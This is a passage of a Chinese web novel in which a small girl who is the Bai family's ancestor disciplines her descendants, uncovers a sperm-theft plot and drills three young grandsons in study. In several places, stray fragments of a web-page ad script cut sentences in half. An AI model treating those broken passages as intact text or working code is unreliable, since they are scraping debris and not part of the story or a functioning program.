“勋哥,勋哥,那个小女娃你认识吗?是你家啥亲戚,竟然让你爷爷亲自给她开车门!” “对呀,长得挺粉雕玉琢的,勋哥,我有个大胆的猜测,你要听不。” “勋哥,你说那小女娃会不会是白爷爷的老来女,也就是勋哥你的小姑姑呀!” “哇,这个还真有可能。” “对,上个月圈子里的那个林家老太爷八十岁大寿,不就是携娇妻以及襁褓中的幼女一起上台致辞,我记得白爷爷今年也才七十三岁。” “去去,瞎说什么呢,我觉得白爷爷才不是那种人,要我猜,那小女娃更有可能是白叔叔的女儿,也就是勋哥同父异母的妹妹。” “勋哥三兄弟都是男孩子,哪有女孩子香,白爷爷更宠孙女些好像没毛病吧。” “勋哥,没事的,不就是个小女娃,哪怕白爷爷和白叔叔再……” 白文勋皱眉低喝,“闭嘴!” 一众人瞬时安静下来,你看我,我看你。 “走,先回学校去。”白文勋决定先回学校找他哥。 两人虽是双胞胎兄弟,相差不到五分钟先后出生,可不得不承认他哥比他聪明太多了。 别看对外两人成绩相差不大,都不怎样,其实那是因为他哥有意考成和他差不多一个水平的。 没办法,谁让他们是双胞胎,他哥是这么说的。 几人才刚从学校出来没多久,现在就又要回去,一个个瞬间没精打采的。 “勋哥,咱们不是才从学校出来,为什么又要回去了?” “是呀,咱们不是说好了,今天都不回学校了。” 白文勋再早熟,毕竟也仅仅是个九岁的孩子,刚刚几个小伙伴的话,他听入了心。 此刻,正心烦意乱了,只是他已经能很好控制情绪,尽量做到面上不显了。 “你们还不想回学校就自己在外面玩,我有事先回去了。” 白文勋说完,丢下小伙伴,自己先离开了。 被丢下的小伙伴们,彼此互看了下,也赶忙追着白文勋跑去。 一顿饭下来,白幺幺吃的心满意足。 吃饱后,两人没继续在外面逗留,直接回白家去。 白安邦到家后,是怀着忐忑心情进家门的。 只是才进门就发现家里很安静,问了管家,才知道老爷子他们还没到家了。 白安邦心里暗松了口气的同时,又好奇老爷子他们没直接回家,是去哪里呢? 白安邦犹豫了下,直接坐在客厅等着人回来。 就在他已经坐得昏昏欲睡时,隐隐听到车声,整个人陡然清醒了。 他忙用手抹了把脸,理了理衣服,坐得板正板正的,两手还搭在膝盖上。 反正瞧着,比小学生坐得还端正。 得亏了他有这先见之明与思想觉悟。 白幺幺一进门看到他这副“乖巧”的模样,加上才被美食治愈,不免看人顺眼多了。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 白幺幺仰着头给白保国递去一个眼神,“带路,都一起去书房聊聊。” “我来,老祖宗,我来带路。” 白保国还没说话,白安邦已经很上道的起身在前面带路了。 白保国只是看了儿子一眼,没说什么。 三人来到书房,门一关,仿佛彻底与外界隔离了。 白小人幺幺一进到书房就走到办公桌后面的椅子上坐下,而白保国父子俩则很有默契的站在办公桌前。 书房里陷入短暂的安静中。 也不知道过了多久,白幺幺开口打破了这份安静。 “我知道你们应该还对我的身份存疑,当然,这点很好,证明你们不蠢。” 被夸不蠢的白保国父子俩:“……” 白保国:……老祖宗……我对您的身份没存疑呀! 白安邦:……这种匪夷所思的情况,只要脑子正常的都会存疑,好不。 “不过么。” 白小人幺幺手指轻轻敲击桌面,眸光分别在白保国和白安邦父子俩身上停留了好一会儿。 父子俩被看得莫名紧张起来,没办法,这就是身份的压制。 好吧,其实还有“武力”的压制。 眼前的老祖宗可是会抽人的,抽人是真的疼。 “都紧张啥,放轻松点。” 白小人幺幺收回视线,接着话锋一转。 “我就知道你们对我的身份还存疑,存疑就对了,不过,那又怎样!” 白幺幺语气陡然变冷。 “就因为你们心中存疑,难道就要我这个老祖宗来自证,脸呢?你们脸是有多大,才敢这么想哈!” 白小人幺幺跳下椅子,绕着两人缓缓踱步。 白保国在心里已经摇了不下一百次头了 老祖宗啊,他没有,他哪里敢如此大逆不道。 大气不敢喘的白安邦:……近期他的保护色以及幸运色那绝对是透明色。 围着人绕了几圈,白小人幺幺冷哼一声,眼里全是明晃晃的嫌弃。 “哼,真当你们白家是块香饽饽,搞得我多乐意当你们老祖宗似的。” 第179章 我那迷人的小祖宗or老祖宗(17) 自证? 别搞笑了,她又不是非当这个老祖宗不可的。 至于白家人对她身份存疑,那就请他们拿出证据来证明她不是他们的老祖宗就是了。 白保国父子俩:“……” 不敢说话,完全不敢说话。 白幺幺走回去坐到椅子上,目光落到白安邦身上。 忽的觉得有点凉飕飕的白安邦:“……” “小安安啊。” 他抬眸疑惑的与白幺幺对视。 白小人幺幺见人看过来了,语气幽幽的说:“你可是好样的,种丢了到现在都还没发现!” 白安邦:“???” “嗯?还需要我讲得更明白些!” 白幺幺的语气陡然凌厉起来,看过来的目光仿若化身为刀架在了人脖子上。 白安邦心里在乱嚎乱叫,什么意思,什么意思呀? 白保国瞧见儿子那副还没领悟到老祖宗意思的模样,气不打一处来,抬手就朝人后脑勺招呼了一下。 同时老爷子虎目一瞪,朝人厉声质问。 “说,你是不是在外面胡来,还搞出私生子了?” 白安邦:“???” 啥胡来?啥私生子? 天地良心呀,他这辈子就只有一个女人,就是他老婆,他三个儿子的妈。 眼瞅着老爷子的怒气值在蹭蹭的往上涨,白安邦的求生欲当即爆表。 “爸,你听我说,没有,我真的没有在外面乱来,我发誓,你要相信我呀。” 白安邦举手就要发誓,那表情简直比窦娥还冤。 白保国信他吗? 当然是不信的,他就信老祖宗的话。 再说了,当初让这混小子去当兵,偏不听,直接跑去经啥商。 商场那是什么地方,算计来算计去的,各种的弯弯绕绕,各种的尔虞我诈。 男人么,犯错分好多种,不是主动犯错,那就是被动犯错,不是清醒着犯错,那就是糊涂人干糊涂事,更找打! 反正无论如何结果就是犯错了,所以先抽一顿再说。 “爸,不是,我都说了,我真没有,真没有啊!” 白保国一副不听不听我不听的表情,不知从哪里摸出一根藤条,开始朝白安邦身上招呼。 其实白保国真不是冲动易怒,奉行棍棒底下出孝子的那种家长。 别看他此刻像是被气狠了,脑袋却是相当清醒的。 他早就注意到了,自己教育儿子,甚至愤怒抽人时,老祖宗不仅没有阻止的意思,甚至他还从老祖宗脸上表情读出了“打得好”三个字。 白保国是谁,一下子想起了在上官家时,老祖宗一见面就抽这混小子的画面。 反正老爷子这一想就没完没了了,而某人今天注定是要竹笋炒肉吃个够了。 白安邦被打得呜哇乱叫,好不可怜。 眼瞅着白保国打得气喘吁吁的,白幺幺觉得也教训够了。 剧情中,那么多白家人可是因为这人的一个行为所引发的蝴蝶效应,而全都丢了性命。 只是被这么打一顿,受点皮肉之苦,简直太该了。 白幺幺喊道:“停。” 她这一声对于白安邦来说仿若天籁之音,救他于水火之中。 白保国停下抽人的动作,回头看向白幺幺,一副自责痛心疾首的模样。 “老祖宗啊,都怪我教子无方,让您见笑了,要不您也抽我一顿吧!” 白保国说着将方才拿来抽人的藤条双手奉上,一脸求着白幺幺快来打他的表情。 白安邦:“……” 不是,老爷子你是忘了自己都几岁了吗? 也不看看,一把老骨头了,哪里还经得起折腾。 只是这种时候,白安邦暗暗在心里干着急,哪里敢冒头出声。 白幺幺很满意白保国的行为,这个白家很不错。 “好了,小保国你这是做什么,快把那藤条收起来,咱们还要继续谈论正事了。” “这……老祖宗我……” “爸,既然老祖宗都发话了,这藤条我帮你收起来吧。” 白安邦趁着老爷子还没反应过来,赶紧抽走他手上的藤条,几步走过去打开书房的门,将藤条扔了出去。 这玩意继续留在书房里,白安邦表示他很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没有安全感。 等白安邦走回来后,白幺幺才轻咳一声道:“小保国,你刚刚着实有点激动了,还误会了我那句话的意思。” 白安邦:“!!!” 他眼眸倏地一亮。 这……这是事情还有反转,他有可能白遭受一顿打了。 白保国气息喘匀了,忙问:“老祖宗,那您那句话是什么意思?” 白幺幺也不卖关子,给出个简单提示。 “小安安不是去医院冷冻过精子。” 白幺幺的话犹如一道惊雷,在白保国和白安邦脑中炸响。 白保国连续做了好几次深呼吸,才试探的问道:“老祖宗,白家会……会……和这事有关吗?” 白幺幺想了下,轻轻点头。 至少剧情中,白家的覆灭,就是女主做的。 原主当初掐算时 ,算到了结果,却没有算到有她参与的过程。 亦或者,原主算到白家灭族的原因根本不是剧情中这样的,不管原主有没有下来,白家灭族都会灭族。 而剧情成这样,或许可以解释为因原主的干涉,产生蝴蝶效应。 不仅最终还是无法改变白家灭族的命运,甚至讽刺的是这一结果还有原主的一份“功劳”。 白保国眼前一阵发白,脚下一个踉跄,差点没站稳往后摔,还是白安邦眼疾手快的将人扶住了。 两年啊! 整整担惊受怕了两年。 这两年白保国承受的压力有多大,根本没人知道。 午夜梦回,多少次被惊醒后,他就睡不着了。 每每这时候,他都会跑到祖宗牌位前提前告罪。 白幺幺瞧出白保国情绪很不对劲,轻咳一声道:“一个个还傻站在那做什么,不赶紧去查,去解决问题。” 经白幺幺这么一提醒,白保国和白安邦像是才猛然反应过来。 白安邦咬牙切齿,心里那个气呀,恨不得立马找到一切的罪魁祸首。 白保国想的比较多,他纠结了好一会儿,才内心忐忑的问道:“老祖宗,是不是只要我们把这事处理清楚,处理明白了,白家就……” 第180章 我那迷人的小祖宗or老祖宗(18) 白幺幺出声打断他的话。 “赶紧先去把事情处理了,其他的时间会说明一切。” 谁知道了,或许没了女主,也会出现其他人或事,最终导致白家灭族。 再说了,就是要让这些人觉得头顶时时刻刻悬着把剑,做人做事才会更加谨慎,家族也才能走得更长远。 父子俩匆匆去处理事情,白幺幺则去他们给安排的房间呼呼睡大觉。 傍晚,放学的放学,下班的下班。 白家的三个小少爷回家后,发现家里很安静。 白文勋给他哥白文旭递了一个眼神,只可惜他哥根本不接。 在学校时,他就把在校外自己亲眼所见,以及小伙伴们的猜测都告诉他哥了。 只是他哥听后反应很平静,一点着急的样子都没有,还能沉住气继续认真听课。 反正他是没办法做到像他哥这样。 至于才七岁的弟弟白文泽,白文勋觉得这种大人搞出来的腌臜事,还是先不要和他说。 三兄弟一起去到三人共用的书房里,放下书包,白文勋就使唤弟弟白文泽去帮忙拿点喝的上来。 三兄弟感情很好,这种事更是没啥好计较的。 白文泽哒哒哒的跑下楼去拿喝的,离开前还不忘问下两个哥哥要喝什么。 等支开弟弟后,白文勋才烦躁的扒拉下头发。 “哥,爷爷和爸爸都不在家,你说他们是不是带着那个……那个出去玩了?” 白文旭从书包里拿出作业正准备写,听到他的话后,放下东西转过头来。 “在学校我就想说你了,只是考虑到场合不合适,才作罢。” 白文勋:“???” “你说你那脑袋一天天的在想些什么乱七八糟的,不管是爷爷还是爸爸,你觉得他们是那种人吗?” 白文勋犹豫的摇头。 “不……不是吧。” “既然觉得不是,那不就行了。” 白文旭转过头去开始写作业。 白文勋:“……” “哥,不是呀,就算我觉得咱爷咱爸不是那种人,可不是有句话怎么说来着。” 白文勋想了下,“就是人不可貌相,海水不可斗量,还有就是画龙画虎难画骨,知人知面不知心。” “嗯,对了,还有,还有……” “停!”白文旭很是无奈的喊道。 以前怎么没发现自己这个双胞胎弟弟还有话痨体质。 “你语文最近学得不错呀。” 白文勋:不是在谈那个疑似他们爷或他们爸私生女的事吗? 不过得了他哥的夸奖,白文勋还是有些小羞涩和小得意,当然嘴上肯定要谦虚点的。 “真的吗?哥你从哪里看出来的,我自己都没什么感觉。” 白文旭:“……” 眸底划过一丝的无奈,或许是他在娘胎中,出于本能无意识的抢占了更多资源,才导致晚他几分钟出生的弟弟不是那么聪明。 白文旭跳过上面那个话题,建议道:“与其在这里瞎猜测,还不如等下爷爷回来了,直接问他……” 白文旭的话还没说完,就被一道惊天地泣鬼神的哭声打断了。 砰! 房门被重重推开。 下去给哥哥们还有自己拿饮料的白文泽哭嚎着跑进来,两手空的,粉嫩嫩的小脸上多了好几处浅淡红痕。 七岁的白文泽一见到两个哥哥,就跟见到了靠山,哭得止都止不住了。 瞧见只是下楼拿个喝的的弟弟哭着跑上来,身上的衣服凌乱,脸上还有好几处红痕。 不管是白文勋还是白文旭,两人脸色皆是一变。 白文旭还内敛点,只是沉下脸来,白文勋则是将气怒全表现在脸上了。 “小泽,你先别哭,快告诉二哥谁欺负你了?” “真是反了天了,找死,敢来我家欺负我弟弟,快点告诉二哥,二哥去给你找回场子,打死他丫的。” 白文旭一把拉开弟弟白文勋,自己来到小弟白文泽的跟前。 “小泽,别哭了,先告诉大哥发生什么事了?” 在白文勋出声询问发生什么时,他已经将人从上到下认真打量一遍。 除了两边脸颊有浅淡的红印子,再就是右手手腕上也有一圈淡淡的红印子,其他地方都好好的,没有受伤。 想想也是,他们现在在哪,他们可是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在自己家里。 同样是哥哥,还是长得一模一样的,白文勋问,白文泽只知道哭。 现在白文旭一问,白文泽开始边抹眼泪边倒豆子似的讲述起来。 “呜呜,哥哥,家里来了个老祖宗……呜呜……不是……是她叫我喊她老祖宗……” “明明看着比我小好几岁了……呜呜……却要我喊她……喊她老祖宗……我都七岁了……又不是傻子,哪里肯让她占我便宜……” “什么?” 听到这里,白文勋双目圆睁,怒气直冲头盖骨。 “哪里来的小崽子,走,小泽,带二哥去会会他,看二哥不打的他哭爹喊娘。” “呜……嗝……” 白文泽扯住怒气冲冲就要出去找人干 架的二哥,脸上露出了迟疑之色。 “可是……二哥……她是……”香香软软的小妹妹呀! “我管他是什么,敢欺负我弟,就得做好被我打得鼻青脸肿的准备。” 白文勋说完就要继续往外冲。 还是白文旭瞧出点什么来,将人拉住。 “干什么,做什么事别总那么冲动,先听小泽把话说完,把事情讲清楚了。” 白文勋还是很听他哥话的,回头催促道:“小泽,你赶紧长话短说,别耽误了二哥给你报仇的大事。” “哼,不然等下人跑回家,或者咱爸咱爷回来,这仇今天不就报不了了。” 白文勋边说还边把手指捏得咔咔响,末了又补充了句,“君子报仇可是不隔夜的。” 被自家二哥这么一打岔,白文泽的哭意彻底没了。 在两个哥哥的注视下,脸上爬起可疑的红晕,人更是有些羞涩难为情的低了低头。 白文旭皱眉,安静等待下文。 白文勋急性子,瞧见人突然变了副神情,奇怪的推了推人肩膀。 “小泽,你是在脸红害羞吗?” “我,我才没有,二哥你看错了。”白文泽神色有些不自然的否认道。 白文勋关心的就不是这事,“没有就没有,你赶紧继续说事。” 白文勋那小表情,就差在脸上写着“快点说,别耽误老子去给你报仇”。 第181章 我那迷人的小祖宗or老祖宗(19) “那个……这个……” 白文泽眼神闪躲,有点不敢和哥哥们对视。 白文勋听得那个着急呀,又想出声催促了。 “她就是要我喊她老祖宗,然后见我可爱,强拉着我不让走,捏了我的脸好几下。” 白文泽小朋友一口气把话说完后,不忘又加了句,“哥哥你们别误会,她真的没欺负我的。” 白文旭和白文勋同时皱眉。 白文勋目露疑色,“那小崽子真没欺负你?可要是没有的话,你刚刚为什么哭成那样?” 白文勋的问题一出,白文泽小朋友脸上又爬起了可疑的红晕,他支支吾吾的解释起来 “就是……就是她……她可能因为我太可爱……就想要捏我的脸……我当然不让她捏……可是她力气好大……我的手被她抓着怎么也挣脱不开……” 白文勋脑门上飘过一排问号。 “然后呢,你到底为什么哭?” 白文泽小朋友垂下脑袋,小声道:“妈咪不是有教过我们,男孩子在外面也要保护好自己,身上的好几个地方都不能让人碰吗?” 白文勋继续脑门上飘过一排问号。 白文旭则眸色一凝,将白文勋拉开些,语气认真的问,“他碰你哪些地方呢?” 白文泽忙小鸡啄米似的摇头,“大哥,没有,她就抓着我的右手不放,然后捏了我的脸,两边脸颊都捏了哦!” 依旧是一脑门问号的白文勋:……以前怎么没发现这个弟弟有点不太聪明的样子,讲个话都一直没讲到重点。 白文旭听后,眸色才缓和下来,“那你到底在哭什么?” 白文勋:“是呀,赶紧回答。” “我,她,她力气太大了,比我还大,我害怕她长大后要是变成康子奇口中的母老虎,我是不是就要每天挨揍。” 这下,不仅白文勋一脑门的问号,白文旭也是了。 瞧出两个哥哥的疑惑,白文泽小朋友一脸羞涩的豁出去了。 “她摸了我的脸,占了我的便宜……我想长大后让她做我的媳妇,可是她力气比我大,我害怕……” 白文旭:“……” 白文勋:“……” 此刻两人脑门上飘过的那排问号已经换成了一群乌鸦!!! 不是,等等。 白文勋两眼倏地瞪得跟铜铃一般大,声线一下子提高了好几个分贝。 “小泽,你说欺负你的不是男孩,是个女孩?” “嗯,是个长得很好看的小妹妹。”白文泽纠正道:“二哥,她真的没欺负我。“ 白文勋:……到底要怎么和傻弟弟说,他准备给自己定下来的未来媳妇儿有可能是他的小姑姑,也有可能是他同父异母的妹妹。 察觉到两个哥哥看他的眼神都有点奇怪,特别是二哥,白文泽咬了咬唇。 “二哥,你这样看得我有点害怕。” “叩叩叩。” 白文泽的声音与敲门声同时响起。 白文泽推门进来后,哪里还顾得上关门,此时门就是敞开着的。 白幺幺是一路跟着人过来的,出于好奇,她就站在门外偷听。 三个孩子,三种性格,挺有趣的。 听得差不多了,白幺幺决定进去会会三个孩子。 门没关,不过该讲的礼貌还是要讲。 敲了三下门后,也不等里面的人回应,白小人幺幺就直接走了进去。 三个孩子见到白幺幺后的反应各异。 白文泽下意识的抬手捂住脸,而后忙低下头去。 白文旭则微皱了下眉,眼神跟x射线似的,将人从上到下仔仔细细打量了一番。 反应最大当然要数白文勋,他激动的抬手指着人,“你,你怎么会在我家?” 白小人幺幺缓步来到白文勋身前,“把手放下,小保国还有小安安没教过你,这样指着长辈很不礼貌的吗?” 白文勋刚想回怼凭什么,哼,让他放下他就放下,他不要面子的吗?最重要的是,他为什么要听她的? 只是他话才到嘴边,他哥抢先一步说话了。 “你是哪家的小孩,叫什么名字?” 白文旭微蹙着眉,语气还算客气,却也谈不上多友好。 作为三兄弟的智商担当,白文旭用最短的时间整合了所有信息。 心中生出了警惕和藏得很好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的怒意,倒不是因为双胞胎弟弟的怀疑与猜测,而是对方不仅直呼他爷爷的名字,还在前面加了一个小字。 如此不尊重长辈的行为,怎么能让他不产生怒意,爷爷可是他最敬重的长辈之一。 还有那个小安安,白文旭心中有个大胆猜测,这可能是在叫他爸爸。 其实白文旭内心是很矛盾的,心里同时还隐隐有种不好的预感。 白小人幺幺挺了挺胸脯,她现在可乐意回答这个问题了。 难怪世人都喜欢讲究辈分,实在是用辈分压人简直不要太爽了。 “我是哪家的呀?这个问题问得很好。” 对待小朋友,白幺幺同志是不吝啬夸夸的。 被夸的白文旭:“……” 哥哥说话,安静当听众的两弟弟 :“……” 白幺幺可不管几个小家伙啥表情,直接抛出重磅炸弹。 “我啊……是你们白家的老祖宗哦!” 白文旭:……三岁一代沟,五岁一鸿沟,原来是这个意思呀。 白文勋:……脑中一团乱麻,一时有点理不清。 白文泽:……未来媳妇儿还小还小,肯定还没上过学了。 “老祖宗,原来您在几个孩子的书房里。”白保国的声音在门外响起。 找到老祖宗了,白保国离开书房后,并没和儿子一路,而是去找自己弟弟商量些事情。 而白安邦则是先去查到底谁动了他冷冻在医院的精子,等结果出来了再报给老爷子。 白保国和白卫国聊了许久,等到快饭点,管家来问白保国是否留下来用餐时,白保国才反应过来一件事。 老祖宗现在的情况特殊,家里三个孩子放学回家后,要是不小心冲撞了老祖宗怎么办。 想到这,白保国赶忙提出要回去了。 白卫国想跟着一起过来见见老祖宗,白保国想了想,让他明天再过来。 毕竟是第一次见老祖宗,还是正式点的好。 白幺幺朝人淡淡的点了点头,“嗯,我过来看看几个孩子,顺便关心下他们的学业。” 已经惊呆了的三兄弟:……真……真的是老祖宗!!! 第182章 我那迷人的小祖宗or老祖宗(20) 这几天,白家三兄弟那可谓是生活在水深火热中。 不管是他们的亲爷白保国,还是他们的亲爸白安邦,那简直是乐见其成。 好吧,主要还是死道友不死贫道。 与其让老祖宗注意到他们,然后来折腾他们,还不如让老祖宗去折腾孙子们(儿子们)。 女主的存在,她已经给出提醒了。 以白家的能力,查肯定是很快就能查清楚的,至于怎么处理就不关她的事了。 她只是他们的老祖宗,又不是他们的亲爹亲妈,难道还啥事都要她去手把手教他们怎么做吗? 白保国和白安邦也是明白这点,所以这几天并没有事情一有点啥进展就拿来叨扰她。 白幺幺乐得清闲,人么一闲下来就想找事做,几个孩子就被她盯上了。 学习么,就是要从娃娃抓起。 白幺幺可没有忘记某小孩的逃学事件。 早上六点,三兄弟起床用了不到十分钟洗漱换衣服,而后到院子里集合。 要不是考虑到几个孩子年纪还小,还在长身体,白幺幺绝对让他们五点半就起床。 一日之计在于晨,早起的鸟儿有虫吃。 晨练对于三兄弟来说莫得问题的,毕竟除了比较爱睡懒觉的白文泽,白文旭和白文勋早已经养成晨练的习惯了。 而他们原本的起床时间,也差不多就是六点左右,有时候还会起得更早些。 总而言之,晨练是小事。 真正让三兄弟想逃避晨练的是早上晨练的地方有那么多人,而他们就像……老祖宗的兵,听话是首要准则。 旁边看围观人的太多了,或认识或不认识的,感觉都是在看他们热闹的。 叫一个瞧着比自己小那么多岁的小女孩老祖宗,三兄弟就算心里再排斥,嘴上也必须恭恭敬敬的喊着。 没办法,他们又不是没长眼睛。 家里的大人都这么喊,他们有那个胆子不喊。 而且白保国很有先见之明的把几个孩子叫到书房,耳提面命的一番。 白家住进了一个来历不明,身份有点特殊,更准确的说是辈分有点特别的小女娃,这根本不是什么秘密。 没办法,白幺幺每天早上带着三个兵在小区里操练,如此有趣的一幕早成了一道风景。 只是一个小女娃,其他家族的人就当看个乐子,并没太重视。 三兄弟不仅要晨练晨读,晚上回家还要被监督着学习。 对于本身就爱学习的白文旭来说没啥,对于另两只不爱学习的,就有点苦不堪言了。 课间的教室里。 白文勋在铃声响的第一瞬间就合上书本,整个人像是被抽了魂般趴到桌上。 呜呜,认真听课做笔记啥的果然是最折磨人的。 可不认真听不行呀,晚上回去老祖宗是要检查提问的。 不管答对答错都会给他们在小本本上记一笔,最后再一起进行清算奖罚。 惩罚啥的,男子汉大丈夫完全不在怕的。 主要是奖励,白文勋同学十分眼馋白幺幺拿出的奖励。 几个小伙伴已经知道他们那天逃学出去见到的小女孩,人家不仅不是白爷爷的老来女,也不是白叔叔的私生女,而是在白家辈分高得有那么一点点离谱的老祖宗。 反正几个小伙伴初一听时,下巴当场掉了一地,捡了掉,掉了又捡。 哪怕是到现在,还有那么一点点无法接受这种离谱的事实。 一小伙伴凑近了些小声道:“勋哥,难道你们就没想过要稍稍反抗下吗?” 反抗? 白文勋很勉强的撩起眼皮,给了他一个自行意会的眼神。 可惜小伙伴会错意了,继续道:“辈分是辈分没错,可她年纪也摆在那,比我妹瞧着都小,应该是挺好忽悠和反抗的。” “当然,勋哥你肯定也不能去欺负人,小女孩么,只要给点糖衣炮弹还是很好搞定的,我妹就是这样。” 好忽悠? 给点糖衣炮弹就能搞定? 白文勋要不是已经被刚刚上课的内容折磨得脑袋发昏发胀,有气无力。 他现在一定会起来朝人呵呵两声,而后一脚将人踢一边去。 真当他们没想过要反抗吗? 哪怕是爷爷对他们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 千叮咛万嘱咐过,让他们一定要听……老祖宗的话,不能对老祖宗有任何不尊重行为…… 第一天的时候,他们还是联合起来想先做个初步试探,小小反抗下。 只是吧! 他们都还没实施计划时,就看到了一段关于他爸被打的视频,还是他爸拿给他们看的。 自家几个臭小子啥性子,白安邦还能不知道。 为了几个臭小子,他豁出脸去找上官家主要了那段自己在他家客厅被老祖宗抽的视频。 有了他这个前车之鉴,希望几个臭小子能学聪明点,好免受皮肉之苦。 反复看了三四遍视频,三兄弟噤若寒蝉。 白安邦瞅瞅这个,瞅瞅那个,轻摇了下头,没再说什么直接离开了。 白安邦离开后没多久,白文泽最先开口说话。 “大哥,二哥,我 怕。” 他可是亲身体验过老祖宗那小小的身体,大大的力气。 手被抓住死命都挣脱不开,要是被打是不是毫无还手之力。 呜呜,就算有力气还手,他也不敢呀! “怕啥怕。” 白文勋捏着拳头挥了挥,“只要我们不犯错,她凭什么打我们,而且真打起来,我们怎么可能打不过她。” 白文旭冷水当头一泼,“打什么打,没看咱爸都只有坐着乖乖挨打的份,原定计划就此作罢。” 白文旭看得很明白,自家爷爷和爸爸对待老祖宗的态度就摆在那,左右他们就是讨不了好。 傍晚放学。 三兄弟现在除了特殊情况,都是铃声一响就收拾东西回家继续卷学习。 没办法,反抗又反抗不了,最重要的是老祖宗她给得太多了……说错了,是给的东西他们太想要了。 一到家后,三兄弟就开始搜寻白幺幺的身影,找不到人,问了管家才知道人出去了。 三兄弟莫名松了口气,就又好奇起人去哪了? 只是问了管家,管家也不知道,甚至什么时候回来都不知道。 被三兄弟关心惦记着的白幺幺此刻在干嘛? 她在看戏了! 第183章 我那迷人的小祖宗or老祖宗(21) 该查的事查清楚了,孩子已经造出来长这么大,也没办法重新塞回去了。 白安邦和自家老爷子以及小叔在书房里讨论商量了很久,最后决定由他亲自去见见那个女人以及孩子。 白安邦心里还是比较着急的,想着快点把事情处理干净。 没办法,媳妇儿带学生去国外参加比赛,再有两天就回来了。 事情瞒着肯定是不可能瞒着,毕竟真不是他的错,甚至算起来他也是受害者。 反正为了不影响儿媳妇在国外的事,家里近期发生的事,包括找到老祖宗,他都还没和妻子说了。 同时他也叮嘱三个儿子,暂时不要打扰在国外的妻子。 白幺幺说好不关注这事,就真没再关注。 还是坐客厅享用下午茶时,见白安邦匆匆要出门,作为长辈顺嘴关心了句。 听到白安邦竟然是要去见女主母女俩,白幺幺才有点坐不住了,稍稍一犹豫,就决定要跟着去看戏。 姜梦也就是女主的妈妈,她接到白安邦助理电话时,整个人如遭雷击。 脑袋一片空白,身体摇摇欲坠,手机更是直接掉到了地上。 女主姜可柔当时就在旁边做作业,手机砸落地上发出的声响把她吓了一跳。 她哪里还顾得做作业,忙焦急起身去看她妈怎么呢? 在女儿关切的呼喊声中,姜梦终于回神了。 她有些失控的推开身前的女儿,慌乱的蹲下身去捡起手机。 自从生了女儿后,她的身子骨越发单薄,瞧着一副弱柳扶风的模样。 因此推人的力气不大,女主也仅仅是踉跄了下,并没有摔倒。 手机质量还好,摔地上也没有四分五裂,捡起来一看,还在通话中。 姜梦深呼吸了好几口气,哪怕知道手机那头的人看不到,她还是露出一个自认为最优雅得体的笑容来。 “不好意思,刚刚出了点小状况,你可以继续说了。” 电话一头的陈助理用公事公办语气传达了自家老板要约她见个面的意思,同时报出时间和地点,最后让她一定要把女儿也一并带上。 作为白安邦的助理,他这段时间算是开了眼界。 没想到被偷种这种事,竟然也会发生在他老板这样的人的身上。 说真的,有种小说照进现实的感觉。 要不是他老板已经名草有主了,说不定两人还真有可能以此为开端,谱写一段相当精彩的故事。 当然陈助理也就是瞎想想,毕竟老板已婚还有了三个小公子,家庭幸福美满。 而且在帮老板调查被偷种事件,他顺便也看过了姜梦的所有资料。 怎么说呢? 身体一个抖机灵,觉得他老板挺倒霉的。 竟招了这么朵烂桃花,还给搞出了那么一个人形炸弹,未来怕是要家宅不宁好长一段时间了。 没想到,没想到这么多年过去了。 他,他终于发现她们母女的存在了,还要约她们见面。 呜呜…… 姜梦激动得都快晕过去了,眼泪一颗接着一颗的往下掉,手紧紧地捂着嘴不让自己哭出声来。 她妈接二连三的反应不正常,姜可柔在旁边看得担心死了,特别是看到她妈还哭了。 她眼睛死死的盯着她妈手上拿着的手机,猜测着到底是谁打电话过来把人惹哭的。 陈助理要说的话说完,就直接挂断电话了。 手机传来嘟嘟声,过去了许久,姜梦才捏着手机,激动的一把抱住女儿。 “宝贝,你爸爸……呜呜……他终于想起你的存在,来找我们了……呜呜……他说要见我……我们……” 姜梦声音由于太过激动,都打着颤。 听了她妈的话,姜可柔以为方才的电话就是渣爸打来的,她不由得皱紧眉头。 她现在已经十一岁了,懂得很多东西。 她妈柔弱单纯好骗,她可不是。 明明都抛妻弃女十几年了,现在突然联系上她妈,想见她们母女,姜可柔不由得阴谋论起来。 不会是渣爸重新组建家庭,那女人给他生的孩子得病了,需要换心换肾换骨髓。 不管是渣爸还是那女人,本 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 质上都是自私自利冷血的,不想把自己的器官骨髓换给那孩子,所以就把主意打到了她身上。 不得不说,姜梦的洗脑很成功,姜可柔对渣爸的除了恶感还是恶感。 姜可柔在她妈怀抱中忧心忡忡问能不能不去赴约,很直白的表现出自己很不想去的意思。 姜梦一听,皱眉,有些愠怒的推开怀中女儿。 想训斥人,可是看着女儿与男人有五六分神似的脸,话到嘴边又噎了回去,直接开启她的哭哭模式。 每次她妈开启这个模式时,姜可柔是既无措又无可奈何。 担心她妈哭坏眼睛,身体哭出个好歹,她只能是尽量顺着人,哄着人点。 穷人家的孩子早当家,特别还是单亲家庭孩子。 同意和她妈一起去见渣爸,姜可柔趁着她妈收拾打扮自己时,匆忙离开去准备些东西。 针孔摄像头这类的东西一时想买也买不到,而且比 较贵,她也买不起,不过录音笔还在她能负担的范围内。 白幺幺和白安邦比约定的时间早到了十分钟,他们到时,女主母女俩还没到了。 约见面的地点是一家环境优雅,私密性很高的咖啡馆,当然主要还是这家咖啡馆是白家的产业。 两人到了包间坐下后,白安邦就开始给白幺幺安利店中的好几款甜点。 白幺幺同志本来就是个好吃的,这点无论经历多少个世界都不会改变。 她狠狠的心动了,每样都想尝尝。 只是考虑到自己现在是小肚肚,装不了太多美食,不能浪费,有点纠结。 忽的,她眼眸一动,目光落在了白安邦身上。 嘿嘿,她怎么忘记了,旁边有这么大一个帮手。 反正到时她每样切一小块试试味道,好吃多吃两口,剩下的全交给旁边这人解决了。 